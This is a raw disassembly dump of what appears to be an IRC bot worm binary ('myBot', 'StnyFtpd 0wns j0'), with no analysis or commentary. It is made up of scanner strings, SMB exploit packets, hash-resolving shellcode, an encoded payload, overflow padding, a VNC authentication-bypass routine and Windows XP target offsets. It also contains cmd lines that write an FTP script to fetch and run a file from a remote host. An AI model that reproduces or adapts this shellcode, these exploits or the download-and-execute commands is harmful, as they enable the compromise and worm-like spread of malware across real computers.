2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_4319B0 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4319E4 db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431A18 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_431A4C db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431A74 db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431AAC db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431AEC db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B24 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B58 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431B8C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADA+B2o align 10h dword_431C40 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C48 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C4C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C54 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431CDC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D0C dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D18 db 81h ; ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D64 db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_431DA8 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431EA4 push dword ptr [esi] push 63D61209h call sub_431EBA mov [esi+8], eax call sub_431E6D push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EBA mov [esi+0Ch], eax call sub_431E1F push dword ptr [esi+4] push 4C0297FAh call sub_431EBA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DA8 endp ; =============== S U B R O U T I N E ======================================= sub_431E1F proc near ; CODE XREF: sub_431DA8+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E48 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E1F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E48 proc near ; CODE XREF: sub_431E1F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E57: ; CODE XREF: sub_431E48+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E64 inc ebx jmp short loc_431E57 ; --------------------------------------------------------------------------- loc_431E64: ; CODE XREF: sub_431E48+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E48 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E6D proc near ; CODE XREF: sub_431DA8+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431E85: ; CODE XREF: sub_431E6D+1Ej cmp [ecx], ebx jz short loc_431E8D mov ecx, [ecx] jmp short loc_431E85 ; --------------------------------------------------------------------------- loc_431E8D: ; CODE XREF: sub_431E6D+1Aj mov edx, edi loc_431E8F: ; CODE XREF: sub_431E6D+2Aj cmp [edx+4], ebx jz short loc_431E99 mov edx, [edx+4] jmp short loc_431E8F ; --------------------------------------------------------------------------- loc_431E99: ; CODE XREF: sub_431E6D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431E6D endp ; =============== S U B R O U T I N E ======================================= sub_431EA4 proc near ; CODE XREF: sub_431DA8+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431EA4 endp ; =============== S U B R O U T I N E ======================================= sub_431EBA proc near ; CODE XREF: sub_431DA8+16p ; sub_431DA8+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431ED0: ; CODE XREF: sub_431EBA+33j jecxz short loc_431F0A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431EDD: ; CODE XREF: sub_431EBA+2Dj lodsb cmp al, ah jz short loc_431EE9 ror edi, 0Dh add edi, eax jmp short loc_431EDD ; --------------------------------------------------------------------------- loc_431EE9: ; CODE XREF: sub_431EBA+26j cmp edi, [esp+20h+arg_0] jnz short loc_431ED0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F0A: ; CODE XREF: sub_431EBA:loc_431ED0j ; sub_431EBA:loc_431F0Aj jmp short loc_431F0A sub_431EBA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431F10 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F62 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F2D: ; CODE XREF: sub_431F10+38j jecxz short loc_431F5D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F38: ; CODE XREF: sub_431F10+32j lodsb test al, al jz short loc_431F44 ror edx, 0Dh add edx, eax jmp short loc_431F38 ; --------------------------------------------------------------------------- loc_431F44: ; CODE XREF: sub_431F10+2Bj cmp edx, [esp+arg_0] jnz short loc_431F2D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F5D: ; CODE XREF: sub_431F10:loc_431F2Dj mov [esp+arg_0], ebx retn sub_431F10 endp ; =============== S U B R O U T I N E ======================================= sub_431F62 proc near ; CODE XREF: sub_431F10+7p ; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431F7B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431F86 ; --------------------------------------------------------------------------- loc_431F7B: ; CODE XREF: sub_431F62+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431F86: ; CODE XREF: sub_431F62+14j pop edi xor esi, esi pusha push esi jmp short loc_431F9A sub_431F62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431F8D proc near ; CODE XREF: sub_431F62:loc_431F9Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431F8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F62 loc_431F9A: ; CODE XREF: sub_431F62+29j call sub_431F8D loc_431F9F: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F62 ; --------------------------------------------------------------------------- dw 0 dword_431FA4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FB0 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FB4 dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FB8 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FC4: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_431FCC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_431FCC dd 0 ; CODE XREF: ___:loc_431FC4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_432038 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_432044: ; CODE XREF: ___:0043204Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432044 inc edi jz short loc_43208B and eax, 952CE753h inc esp jle short loc_4320B3 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_43208B: ; CODE XREF: ___:00432051j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4320EA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320B0: ; CODE XREF: ___:004320DDj xor [esi-25h], bl loc_4320B3: ; CODE XREF: ___:00432059j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4320CC: ; CODE XREF: ___:004320FFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320B0 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4320EA: ; CODE XREF: ___:00432091j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_432176 jo short loc_4320CC fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_43210D+1 add bl, [edi] loc_43210D: ; CODE XREF: ___:00432109j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_432122+2 cmp ch, bh dec edx loc_432122: ; CODE XREF: ___:0043211Dj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_432176: ; CODE XREF: ___:004320FDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4321FC sub al, 0BCh jmp near ptr 5445256Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432198 dd 0EFFFC481h, 44FFFFh, 4321E4h ; DATA XREF: ___:0040DC32o dword_4321A4 dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321A8 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321AC dd 258h ; DATA XREF: ___:0040DC28r byte_4321B0 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4321C8 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4321FC: ; CODE XREF: ___:00432180j push eax xor al, 29h loc_4321FF: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_432208 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_43221C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322C4 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 4 word_433508 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_43350C dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferC_0 db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437C70o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437C7Co unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4337F4 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_43381C db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A3C db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433A74 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_433AA8: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 